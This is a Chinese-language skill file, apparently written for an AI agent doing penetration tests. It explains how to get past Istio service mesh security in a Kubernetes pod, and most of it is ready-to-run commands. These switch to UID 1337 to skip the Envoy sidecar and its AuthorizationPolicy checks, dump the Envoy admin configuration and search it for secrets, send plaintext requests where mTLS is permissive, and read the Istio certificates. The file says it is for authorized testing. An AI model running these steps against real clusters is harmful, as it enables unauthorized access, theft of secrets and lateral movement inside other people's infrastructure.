用途
该技能面向 Kubernetes 集群中 Istio Service Mesh 的安全策略绕过场景。当目标集群使用 Istio、请求被 AuthorizationPolicy 拒绝(返回 403 RBAC denied)、或发现 Envoy sidecar 时,可使用本技能提供的思路进行测试。
核心原理:UID 1337 绕过
Istio 通过 Envoy sidecar 实现流量管理和安全策略。其架构中存在一个可被利用的设计特性:Envoy 以 UID 1337 运行,而 iptables 规则会排除 UID 1337 的流量以避免死循环。这意味着以该 UID 身份发出的请求完全绕过 Envoy,所有 Istio 策略不再生效。
流量路径对比:
- 正常流量:Pod → iptables → Envoy(策略检查)→ 目标
- UID 1337:Pod → iptables →(跳过 Envoy)→ 直接到达目标
主要能力
1. UID 1337 绕过
利用步骤:
# 1. 确认 istio 用户存在
grep 1337 /etc/passwd
# istio:x:1337:1337::/home/istio:/bin/sh
# 2. 切换到 istio 用户
su istio
# 或
su -s /bin/sh istio
# 3. 以 istio 身份发起请求(绕过 AuthorizationPolicy)
curl <target>.svc.cluster.local
# 4. 如果 su 不可用,尝试 nsenter 或 runuser
runuser -u istio -- curl <target>
参考:https://github.com/istio/istio/issues/4286
2. AuthorizationPolicy DENY 绕过示例
当策略禁止特定 HTTP 方法时:
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
spec:
action: DENY
rules:
- to:
- operation:
methods: ["POST", "GET"]
- 切换 HTTP Method(PATCH/PUT)通常返回 400,不可行
- 以 UID 1337 发请求可完全绕过 Envoy,策略不生效
3. Envoy 管理接口
# Envoy admin interface (默认 15000)
curl localhost:15000/
curl localhost:15000/config_dump # 完整配置(可能含 secret)
curl localhost:15000/clusters # 上游集群信息
curl localhost:15000/listeners # 监听器配置
curl localhost:15000/stats # 统计信息
# Pilot debug 接口 (默认 15014)
curl localhost:15014/debug/endpointz
curl localhost:15014/debug/configz
4. mTLS 降级
如果 PeerAuthentication 设为 PERMISSIVE(而非 STRICT),可以发送不带 mTLS 的明文请求:
curl http://<service>:<port> # 明文 HTTP 可能被接受
5. 利用 Sidecar 资源
Envoy sidecar 可能缓存了 mTLS 证书和集群信息,可配合 k8s-sidecar-attack 技能进一步利用。
ls /etc/certs/ 2>/dev/null
ls /var/run/secrets/istio/ 2>/dev/null
cat /var/run/secrets/istio/root-cert.pem 2>/dev/null
使用方式:侦察流程
# 1. 确认 Istio 存在
env | grep -i istio
ls /var/run/secrets/istio/ 2>/dev/null
curl -s localhost:15000/server_info 2>/dev/null | head -5
# 2. 发现目标服务
k8spider scan -subnet <service-cidr>
# 3. 直接访问(测试是否被 AuthorizationPolicy 阻止)
curl -v <target-service>
# 如果返回 403 RBAC access denied → 说明有 AuthorizationPolicy
# 4. 尝试 UID 1337 绕过
su istio -c "curl <target-service>"
# 5. 检查 Envoy 管理接口
curl localhost:15000/config_dump | grep -i secret
关键要点
- UID 1337 相当于 Istio 的“上帝模式”:流量不经过 Envoy,不受任何 Istio 策略控制
- Envoy admin 接口默认在 localhost:15000,可能泄露 secret 和集群拓扑
- PeerAuthentication 为 PERMISSIVE 时允许明文通信
- Istio 的 AuthorizationPolicy 只在 Envoy 层生效,绕过 Envoy 即绕过所有策略
适用场景与限制
适用于已获得 Pod 内执行权限、且目标集群使用 Istio 的授权安全测试场景。前提是容器内存在 UID 1337 的 istio 用户或可切换至该 UID;若 su、runuser、nsenter 均不可用,则绕过手法受限。Envoy 管理接口与 Pilot 调试接口是否可达、PeerAuthentication 模式等均取决于目标集群的实际配置,资料未提供其他平台或版本兼容性说明。